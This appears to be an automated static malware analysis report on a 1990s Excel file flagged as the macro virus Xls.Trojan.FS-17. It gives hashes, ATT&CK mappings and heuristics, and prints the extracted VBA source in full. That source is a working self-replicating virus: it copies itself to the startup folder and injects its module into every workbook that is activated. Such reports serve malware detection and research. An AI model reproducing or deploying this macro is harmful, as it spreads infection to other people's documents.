Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d1b432b29efbce35…

MALICIOUS

Office (OLE)

21.0 KB Created: 1999-07-07 18:03:53 Authoring application: Microsoft Excel First seen: 2012-10-03
MD5: 780638348916018edb03e4c45247c6ca SHA-1: 7e3c016961a80b4defe7f27c1f7b4f60b060d715 SHA-256: d1b432b29efbce35ad5c884cd0eba9f43221a2667ce38a1b835a46877796c605
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is an Excel document containing a VBA macro with an Auto_Open subroutine. This macro attempts to save a copy of itself to the startup folder, named 'ÿ', likely to achieve persistence. The script is truncated but indicates further malicious activity. The ClamAV detection 'Xls.Trojan.FS-17' further supports its malicious nature.

Heuristics 3

  • ClamAV: Xls.Trojan.FS-17 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.FS-17
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1955 bytes
SHA-256: 5aad02ff7503ebc304b844369d2654166759863a532a96c3db25fa186d353257
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ÿ"
'Copyright (C) 1998 by FlyShadow ~^^~ - Larky
Private Sub Auto_Open()
On Error Resume Next
Application.EnableEvents = 1
Application.DisplayAlerts = 0
Application.ScreenUpdating = 0
Application.EnableCancelKey = 0
If Application.Workbooks("ÿ").Name <> "ÿ" Then
£d = Application.StartupPath & ".\" & "ÿ"
Workbooks(ActiveWorkbook.Name).SaveCopyAs £d
Workbooks.Open £d: End If
Windows("ÿ").Visible = 0: Application.OnSheetActivate = "ÿ" & "!£h"
End Sub
Private Sub £h()
On Error Resume Next
Windows("ÿ").Visible = 0
Set £o = ActiveWorkbook
Set £\ = ThisWorkbook.VBProject.VBComponents("ÿ").CodeModule
£f = £\.Lines(1, £\.CountOfLines + 1)
If £o.VBProject.VBComponents(£\).Name <> £\ Then
£o.VBProject.VBComponents.Add(1).Name = £\
£o.VBProject.VBComponents(£\).CodeModule.InsertLines 1, £f: End If
ThisWorkbook.Saved = 1
End Sub

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